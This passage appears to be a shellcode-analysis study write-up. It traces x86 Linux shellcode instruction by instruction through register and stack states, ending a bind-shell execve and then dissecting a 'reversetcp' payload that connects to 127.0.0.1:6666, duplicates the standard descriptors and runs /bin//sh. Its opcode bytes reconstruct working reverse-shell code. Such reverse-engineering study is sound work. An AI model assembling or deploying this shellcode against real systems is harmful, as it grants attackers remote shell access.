ECX = FFFFFFFF
EDX = 00000000
ESI = 00000001
Stack = 2f 2f 73 68 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>
0000003F 682F62696E push dword 0x6e69622f
EAX = 00000000
EBX = <fd to accepted socket>
ECX = FFFFFFFF
EDX = 00000000
ESI = 00000001
Stack = 2f 62 69 6e 2f 2f 73 68 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>
echo 2f 62 69 6e 2f 2f 73 68 | xxd -r -p
/bin//sh
00000044 89E3 mov ebx,esp
EAX = 00000000
EBX = <pointer to /bin//sh on the stack>
ECX = FFFFFFFF
EDX = 00000000
ESI = 00000001
Stack = 2f 62 69 6e 2f 2f 73 68 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>
00000046 50 push eax
EAX = 00000000
EBX = <pointer to /bin//sh on the stack>
ECX = FFFFFFFF
EDX = 00000000
ESI = 00000001
Stack = 00 00 00 00 2f 62 69 6e 2f 2f 73 68 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>
00000047 53 push ebx
EAX = 00000000
EBX = <pointer to /bin//sh on the stack>
ECX = FFFFFFFF
EDX = 00000000
ESI = 00000001
Stack = <4 byte pointer to /bin//sh on the stack> 00 00 00 00 2f 62 69 6e 2f 2f 73 68 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>
00000048 89E1 mov ecx,esp
EAX = 00000000
EBX = <pointer to /bin//sh on the stack>
ECX = <pointer to pointer to /bin//sh on the stack followed by NULL character>
EDX = 00000000
ESI = 00000001
Stack = <4 byte pointer to /bin//sh on the stack> 00 00 00 00 2f 62 69 6e 2f 2f 73 68 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>
0000004A B00B mov al,0xb
EAX = 0000000b
EBX = <pointer to /bin//sh on the stack>
ECX = <pointer to pointer to /bin//sh on the stack followed by NULL character>
EDX = 00000000
ESI = 00000001
Stack = <4 byte pointer to /bin//sh on the stack> 00 00 00 00 2f 62 69 6e 2f 2f 73 68 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>
0000004C CD80 int 0x80
Process executes a new program here via execve using the variables in EBX, ECX and EDX
grep $((0x0b)) /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_execve 11
int execve(const char *filename, char *const argv[], char *const envp[]);
Note: Effectively: execve(/bin//sh, /bin//sh%00, 0)
================================
On to our fourth program "reversetcp"
I'm using the same gdb trick (break *0) to set the breakpoint on the first instruction.
wget https://raw.githubusercontent.com/gdbinit/Gdbinit/master/gdbinit -O ~/.gdbinit gdb reversetcp
(gdb) break *0
Breakpoint 1 at 0x0
(gdb) run
(gdb) x/5i $pc
=> 0x8048054: xor %ebx,%ebx
0x8048056: push %ebx
0x8048057: inc %ebx
0x8048058: push %ebx
0x8048059: push $0x2
(gdb)
00000000 31DB xor ebx,ebx
EBX = 00000000
Stack = <uninitialized>
00000002 53 push ebx
EBX = 00000000
Stack = 00 00 00 00 <uninitialized>
00000003 43 inc ebx
EBX = 00000001
Stack = 00 00 00 00 <uninitialized>
00000004 53 push ebx
EBX = 00000001
Stack = 01 00 00 00 00 00 00 00 <uninitialized>
00000005 6A02 push byte +0x2
EBX = 00000001
Stack = 02 00 00 00 01 00 00 00 00 00 00 00 <uninitialized>
00000007 6A66 push byte +0x66
EBX = 00000001
Stack = 66 00 00 00 02 00 00 00 01 00 00 00 00 00 00 00 <uninitialized>
00000009 58 pop eax
EAX = 00000066
EBX = 00000001
Stack = 02 00 00 00 01 00 00 00 00 00 00 00 <uninitialized>
0000000A 89E1 mov ecx,esp
EAX = 00000066
EBX = 00000001
ECX = <pointer to uninitialized + 12>
Stack = 02 00 00 00 01 00 00 00 00 00 00 00 <uninitialized>
0000000C CD80 int 0x80
Stack = 02 00 00 00 01 00 00 00 00 00 00 00 <uninitialized>
grep $((0x66)) /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_socketcall 102
man 2 socketcall
int socketcall(int call, unsigned long *args);
RETURN VALUE = On success, a file descriptor for the new socket is returned
Effectively: Socketcall(Socket, 2 1 0)
0000000E 93 xchg eax,ebx
EAX = 00000001
EBX = <fd for master socket>
ECX = <pointer to uninitialized + 12>
Stack = 02 00 00 00 01 00 00 00 00 00 00 00 <uninitialized>
0000000F 59 pop ecx
EAX = 00000001
EBX = <fd for master socket>
ECX = 00000002
Stack = 01 00 00 00 00 00 00 00 <uninitialized>
00000010 B03F mov al,0x3f
EAX = 0000003F
EBX = <fd for master socket>
ECX = 00000002
Stack = 01 00 00 00 00 00 00 00 <uninitialized>
00000012 CD80 int 0x80
grep $((0x3f)) /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_dup2 63
int dup2(int oldfd, int newfd);
Note: Copy the STDERR (and later STDOUT and STDIN via repeat loop jns 0x10) to the accepted socket
00000014 49 dec ecx
EAX = 00000000
EBX = <fd for master socket>
ECX = 00000002 -> 00000001 -> 00000000 -> FFFFFFFF
Stack = 01 00 00 00 00 00 00 00 <uninitialized>
00000015 79F9 jns 0x10
EAX = 00000000
EBX = <fd for master socket>
ECX = 00000002 -> 00000001 -> 00000000 -> FFFFFFFF
Stack = 01 00 00 00 00 00 00 00 <uninitialized>
00000017 5B pop ebx
EAX = 00000000
EBX = 00000001
ECX = FFFFFFFF
Stack = 00 00 00 00 <uninitialized>
00000018 5A pop edx
EAX = 00000000
EBX = 00000001
ECX = FFFFFFFF
EDX = 00000000
Stack = <uninitialized>
00000019 687F010101 push dword 0x101017f
EAX = 00000000
EBX = 00000001
ECX = FFFFFFFF
EDX = 00000000
Stack = 7f 01 01 01 <uninitialized>
0000001E 66681A0A push word 0xa1a
EAX = 00000000
EBX = 00000001
ECX = FFFFFFFF
EDX = 00000000
Stack = 1a 0a 7f 01 01 01 <uninitialized>
00000022 43 inc ebx
EAX = 00000000
EBX = 00000002
ECX = FFFFFFFF
EDX = 00000000
Stack = 1a 0a 7f 01 01 01 <uninitialized>
00000023 6653 push bx
EAX = 00000000
EBX = 00000002
ECX = FFFFFFFF
EDX = 00000000
Stack = 02 00 1a 0a 7f 01 01 01 <uninitialized>
00000025 89E1 mov ecx,esp
EAX = 00000000
EBX = 00000002
ECX = <pointer to uninitialized+8 = AF_INET, 6666, 127.0.0.1>
EDX = 00000000
Stack = 02 00 1a 0a 7f 01 01 01 <uninitialized>
00000027 B066 mov al,0x66
EAX = 00000066
EBX = 00000002
ECX = <pointer to uninitialized+8 = AF_INET, 6666, 127.0.0.1>
EDX = 00000000
Stack = 02 00 1a 0a 7f 01 01 01 <uninitialized>
00000029 50 push eax
EAX = 00000066
EBX = 00000002
ECX = <pointer to uninitialized+8 = AF_INET, 6666, 127.0.0.1>
EDX = 00000000
Stack = 66 00 00 00 02 00 1a 0a 7f 01 01 01 <uninitialized>
0000002A 51 push ecx
EAX = 00000066
EBX = 00000002
ECX = <pointer to uninitialized+8 = AF_INET, 6666, 127.0.0.1>
EDX = 00000000
Stack = <pointer to AF_INET, 6666, 127.0.0.1> 66 00 00 00 02 00 1a 0a 7f 01 01 01 <uninitialized>
0000002B 53 push ebx
EAX = 00000066
EBX = 00000002
ECX = <pointer to uninitialized+8 = AF_INET, 6666, 127.0.0.1>
EDX = 00000000
Stack = 02 00 00 00 <pointer to AF_INET, 6666, 127.0.0.1> 66 00 00 00 02 00 1a 0a 7f 01 01 01 <uninitialized>
0000002C 89E1 mov ecx,esp
EAX = 00000066
EBX = 00000002
ECX = <pointer to uninitialized+20>
EDX = 00000000
Stack = 02 00 00 00 <pointer to AF_INET, 6666, 127.0.0.1> 66 00 00 00 02 00 1a 0a 7f 01 01 01 <uninitialized>
0000002E 43 inc ebx
EAX = 00000066
EBX = 00000003
ECX = <pointer to uninitialized+20>
EDX = 00000000
Stack = 02 00 00 00 <pointer to AF_INET, 6666, 127.0.0.1> 66 00 00 00 02 00 1a 0a 7f 01 01 01 <uninitialized>
0000002F CD80 int 0x80
grep $((0x66)) /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_socketcall 102
man 2 socketcall
int socketcall(int call, unsigned long *args);
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
RETURN VALUE: If the connection or binding succeeds, zero is returned.
Note: Effectively: Socketcall(Connect(sockfd, {AF_INET, 6666, 127.0.0.1}, 66))
00000031 52 push edx
EAX = 00000000
EBX = 00000003
ECX = <pointer to uninitialized+20>
EDX = 00000000
Stack = 00 00 00 00 02 00 00 00 <pointer to AF_INET, 6666, 127.0.0.1> 66 00 00 00 02 00 1a 0a 7f 01 01 01 <uninitialized>
00000032 682F2F7368 push dword 0x68732f2f
EAX = 00000000
EBX = 00000003
ECX = <pointer to uninitialized+20>
EDX = 00000000
Stack = 2f 2f 73 68 00 00 00 00 02 00 00 00 <pointer to AF_INET, 6666, 127.0.0.1> 66 00 00 00 02 00 1a 0a 7f 01 01 01 <uninitialized>
00000037 682F62696E push dword 0x6e69622f
EAX = 00000000
EBX = 00000003
ECX = <pointer to uninitialized+20>
EDX = 00000000
Stack = 2f 62 69 6e 2f 2f 73 68 00 00 00 00 02 00 00 00 <pointer to AF_INET, 6666, 127.0.0.1> 66 00 00 00 02 00 1a 0a 7f 01 01 01 <uninitialized>
echo 2f 62 69 6e 2f 2f 73 68 | xxd -r -p
/bin//sh
0000003C 89E3 mov ebx,esp
EAX = 00000000
EBX = <pointer to /bin//sh>
ECX = <pointer to uninitialized+20>
EDX = 00000000
Stack = 2f 62 69 6e 2f 2f 73 68 00 00 00 00 02 00 00 00 <pointer to AF_INET, 6666, 127.0.0.1> 66 00 00 00 02 00 1a 0a 7f 01 01 01 <uninitialized>
0000003E 52 push edx
EAX = 00000000
EBX = <pointer to /bin//sh>
ECX = <pointer to uninitialized+20>
EDX = 00000000
Stack = 00 00 00 00 2f 62 69 6e 2f 2f 73 68 00 00 00 00 02 00 00 00 <pointer to AF_INET, 6666, 127.0.0.1> 66 00 00 00 02 00 1a 0a 7f 01 01 01 <uninitialized>
0000003F 53 push ebx
EAX = 00000000
EBX = <pointer to /bin//sh>
ECX = <pointer to uninitialized+20>
EDX = 00000000
Stack = <pointer to /bin//sh> 00 00 00 00 2f 62 69 6e 2f 2f 73 68 00 00 00 00 02 00 00 00 <pointer to AF_INET, 6666, 127.0.0.1> 66 00 00 00 02 00 1a 0a 7f 01 01 01 <uninitialized>
00000040 89E1 mov ecx,esp
EAX = 00000000
EBX = <pointer to /bin//sh>
ECX = <pointer to pointer to /bin//sh>
EDX = 00000000
Stack = <pointer to /bin//sh> 00 00 00 00 2f 62 69 6e 2f 2f 73 68 00 00 00 00 02 00 00 00 <pointer to AF_INET, 6666, 127.0.0.1> 66 00 00 00 02 00 1a 0a 7f 01 01 01 <uninitialized>
00000042 B00B mov al,0xb
EAX = 0000000B
EBX = <pointer to /bin//sh>
ECX = <pointer to pointer to /bin//sh>
EDX = 00000000
Stack = <pointer to /bin//sh> 00 00 00 00 2f 62 69 6e 2f 2f 73 68 00 00 00 00 02 00 00 00 <pointer to AF_INET, 6666, 127.0.0.1> 66 00 00 00 02 00 1a 0a 7f 01 01 01 <uninitialized>
00000044 CD80 int 0x80
Process executes a new program here via execve using the variables in EBX, ECX and EDX
grep $((0x0b)) /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_execve 11
int execve(const char *filename, char *const argv[], char *const envp[]);
Note: Effectively: execve(/bin//sh, /bin//sh%00, 0)